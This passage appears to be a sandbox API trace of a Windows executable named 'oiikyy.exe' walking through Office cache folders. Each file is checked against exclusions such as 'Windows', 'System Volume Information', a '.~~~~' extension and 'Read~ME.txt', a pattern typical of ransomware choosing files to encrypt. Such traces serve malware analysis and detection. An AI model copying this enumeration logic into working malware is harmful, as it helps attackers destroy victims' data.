	[0062.440] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.442] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.442] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.442] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.442] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.443] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.443] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.443] GetCurrentThreadId () returned 0x618
	[0062.443] GetCurrentThreadId () returned 0x618
	[0062.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0062.443] RtlWakeConditionVariable () returned 0x1
	[0062.445] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.445] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1
	[0062.445] lstrcmpiW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0062.445] lstrcmpW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0062.445] lstrcmpW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0062.445] lstrcmpW (lpString1="{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0062.445] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0062.445] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.445] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0062.445] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.445] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0062.445] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x39fe10
	[0062.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0062.447] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.447] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.447] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.447] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.447] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0062.447] GetCurrentThreadId () returned 0x618
	[0062.447] GetCurrentThreadId () returned 0x618
	[0062.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.447] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d7e8
	[0062.447] RtlWakeConditionVariable () returned 0x1
	[0062.449] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0062.449] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.449] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.449] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.449] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.450] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.450] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.450] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0062.450] GetCurrentThreadId () returned 0x618
	[0062.450] GetCurrentThreadId () returned 0x618
	[0062.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d7e8
	[0062.450] RtlWakeConditionVariable () returned 0x1
	[0062.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0062.451] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1
	[0062.452] lstrcmpiW (lpString1="ExcelLR.cab", lpString2="Windows") returned -1
	[0062.452] lstrcmpW (lpString1="ExcelLR.cab", lpString2="oiikyy.exe") returned -1
	[0062.452] StrStrW (lpFirst="ExcelLR.cab", lpSrch=".~~~~") returned 0x0
	[0062.452] lstrcmpW (lpString1="ExcelLR.cab", lpString2="Read~ME.txt") returned -1
	[0062.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39d750
	[0062.452] GetCurrentThreadId () returned 0x618
	[0062.452] GetCurrentThreadId () returned 0x618
	[0062.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39d7f8
	[0062.452] RtlWakeConditionVariable () returned 0x1
	[0062.467] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0062.467] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1
	[0062.467] lstrcmpiW (lpString1="ExcelMUI.msi", lpString2="Windows") returned -1
	[0062.467] lstrcmpW (lpString1="ExcelMUI.msi", lpString2="oiikyy.exe") returned -1
	[0062.467] StrStrW (lpFirst="ExcelMUI.msi", lpSrch=".~~~~") returned 0x0
	[0062.467] lstrcmpW (lpString1="ExcelMUI.msi", lpString2="Read~ME.txt") returned -1
	[0062.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39d750
	[0062.467] GetCurrentThreadId () returned 0x618
	[0062.467] GetCurrentThreadId () returned 0x618
	[0062.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.467] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39e528
	[0062.467] RtlWakeConditionVariable () returned 0x1
	[0062.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0062.483] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1
	[0062.483] lstrcmpiW (lpString1="ExcelMUI.xml", lpString2="Windows") returned -1
	[0062.483] lstrcmpW (lpString1="ExcelMUI.xml", lpString2="oiikyy.exe") returned -1
	[0062.483] StrStrW (lpFirst="ExcelMUI.xml", lpSrch=".~~~~") returned 0x0
	[0062.483] lstrcmpW (lpString1="ExcelMUI.xml", lpString2="Read~ME.txt") returned -1
	[0062.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39d750
	[0062.483] GetCurrentThreadId () returned 0x618
	[0062.483] GetCurrentThreadId () returned 0x618
	[0062.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.483] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39e7b0
	[0062.483] RtlWakeConditionVariable () returned 0x1
	[0062.522] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0062.523] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0062.523] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0062.523] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0062.523] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0062.523] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0062.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39d750
	[0062.524] GetCurrentThreadId () returned 0x618
	[0062.524] GetCurrentThreadId () returned 0x618
	[0062.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.524] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x39ed10
	[0062.524] RtlWakeConditionVariable () returned 0x1
	[0062.529] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0062.529] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0062.718] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0062.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6688
	[0062.718] GetCurrentThreadId () returned 0x618
	[0062.718] GetCurrentThreadId () returned 0x618
	[0062.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0062.718] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0062.718] RtlWakeConditionVariable () returned 0x1
	[0062.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0062.736] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39fe10 | out: hHeap=0x300000) returned 1
	[0062.738] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1
	[0062.738] lstrcmpiW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0062.738] lstrcmpW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0062.738] lstrcmpW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0062.738] lstrcmpW (lpString1="{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0062.738] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0062.738] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.738] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0062.738] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.738] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0062.738] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x39fe10
	[0062.739] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0063.161] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0063.161] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0063.161] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0063.161] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0063.161] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0063.161] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0063.162] GetCurrentThreadId () returned 0x618
	[0063.162] GetCurrentThreadId () returned 0x618
	[0063.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0063.162] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e528
	[0063.162] RtlWakeConditionVariable () returned 0x1
	[0063.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0063.166] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.166] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0063.166] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0063.166] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0063.166] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0063.166] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0063.166] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0063.166] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0063.167] GetCurrentThreadId () returned 0x618
	[0063.167] GetCurrentThreadId () returned 0x618
	[0063.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0063.167] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e528
	[0063.167] RtlWakeConditionVariable () returned 0x1
	[0063.170] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0063.170] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1
	[0063.170] lstrcmpiW (lpString1="PowerPointMUI.msi", lpString2="Windows") returned -1
	[0063.170] lstrcmpW (lpString1="PowerPointMUI.msi", lpString2="oiikyy.exe") returned 1
	[0063.170] StrStrW (lpFirst="PowerPointMUI.msi", lpSrch=".~~~~") returned 0x0
	[0063.170] lstrcmpW (lpString1="PowerPointMUI.msi", lpString2="Read~ME.txt") returned -1
	[0063.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e528
	[0063.171] GetCurrentThreadId () returned 0x618
	[0063.171] GetCurrentThreadId () returned 0x618
	[0063.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0063.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5e0
	[0063.171] RtlWakeConditionVariable () returned 0x1
	[0063.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.209] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1
	[0063.217] lstrcmpiW (lpString1="PowerPointMUI.xml", lpString2="Windows") returned -1
	[0063.217] lstrcmpW (lpString1="PowerPointMUI.xml", lpString2="oiikyy.exe") returned 1
	[0063.217] StrStrW (lpFirst="PowerPointMUI.xml", lpSrch=".~~~~") returned 0x0
	[0063.217] lstrcmpW (lpString1="PowerPointMUI.xml", lpString2="Read~ME.txt") returned -1
	[0063.217] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e528
	[0063.218] GetCurrentThreadId () returned 0x618
	[0063.218] GetCurrentThreadId () returned 0x618
	[0063.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0063.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e888
	[0063.218] RtlWakeConditionVariable () returned 0x1
	[0063.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.266] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1
	[0063.267] lstrcmpiW (lpString1="PptLR.cab", lpString2="Windows") returned -1
	[0063.267] lstrcmpW (lpString1="PptLR.cab", lpString2="oiikyy.exe") returned 1
	[0063.267] StrStrW (lpFirst="PptLR.cab", lpSrch=".~~~~") returned 0x0
	[0063.267] lstrcmpW (lpString1="PptLR.cab", lpString2="Read~ME.txt") returned -1
	[0063.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6538
	[0063.267] GetCurrentThreadId () returned 0x618
	[0063.267] GetCurrentThreadId () returned 0x618
	[0063.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0063.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e65e0
	[0063.267] RtlWakeConditionVariable () returned 0x1
	[0063.269] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0063.269] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0063.269] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0063.269] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0063.269] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0063.269] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0063.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6538
	[0063.270] GetCurrentThreadId () returned 0x618
	[0063.270] GetCurrentThreadId () returned 0x618
	[0063.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca40
	[0063.270] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0063.270] RtlWakeConditionVariable () returned 0x365f48
	[0063.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0063.270] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0063.270] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0063.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6538
	[0063.326] GetCurrentThreadId () returned 0x618
	[0063.326] GetCurrentThreadId () returned 0x618
	[0063.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35cab0
	[0063.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6880
	[0063.326] RtlWakeConditionVariable () returned 0x365f48
	[0063.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0063.326] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39fe10 | out: hHeap=0x300000) returned 1
	[0063.328] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1
	[0063.328] lstrcmpiW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0063.328] lstrcmpW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0063.328] lstrcmpW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0063.328] lstrcmpW (lpString1="{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0063.328] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0063.328] lstrlenW (lpString="C:\\Windows") returned 10
	[0063.328] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0063.328] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0063.328] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
